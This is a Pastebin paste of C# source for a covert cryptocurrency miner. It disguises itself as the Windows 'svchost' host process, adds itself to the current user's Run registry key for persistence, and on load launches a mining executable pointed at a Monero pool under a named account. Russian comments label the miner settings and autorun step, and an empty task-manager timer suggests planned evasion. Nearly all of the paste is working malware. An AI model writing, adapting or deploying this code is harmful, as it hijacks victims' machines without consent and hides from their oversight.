Advertisement
Guest User

Untitled

a guest
Jul 13th, 2017
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.90 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Diagnostics;
  7. using System.Threading;
  8. using System.Linq;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using Microsoft.Win32;
  12.  
  13. namespace svchost
  14. {
  15.     public partial class svchost : Form
  16.     {
  17.         public svchost()
  18.         {
  19.             InitializeComponent();
  20.         }
  21.  
  22.         static public string appName = "Host process";
  23.         // Параметры запуска майнера
  24.         static public string poolUrl = "stratum+tcp://xmr.pool.minergate.com:45590";
  25.         static public string userName = "alex.dizaro@yandex.ru";
  26.         static public string userPass = "x";
  27.         static public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
  28.  
  29.         // Добавление в автозагрузку
  30.         public bool addAutorun()
  31.         {
  32.             string ExePath = System.Windows.Forms.Application.ExecutablePath;
  33.             RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
  34.             try
  35.             {
  36.                 regKey.SetValue(appName, ExePath);
  37.                 regKey.Close();
  38.             }
  39.             catch { return false; }
  40.             return true;
  41.         }
  42.  
  43.        
  44.         // Запуск майнера
  45.         public bool StartMiner()
  46.         {
  47.             ProcessStartInfo info = new ProcessStartInfo("svhost.exe");
  48.             info.Arguments = startInfo;
  49.             System.Diagnostics.Process.Start(info);
  50.             return true;
  51.         }
  52.  
  53.         private void svchost_Load(object sender, EventArgs e)
  54.         {
  55.             addAutorun();
  56.             StartMiner();
  57.         }
  58.  
  59.         private void taskManagerChecker_Tick(object sender, EventArgs e)
  60.         {
  61.  
  62.         }
  63.  
  64.     }
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement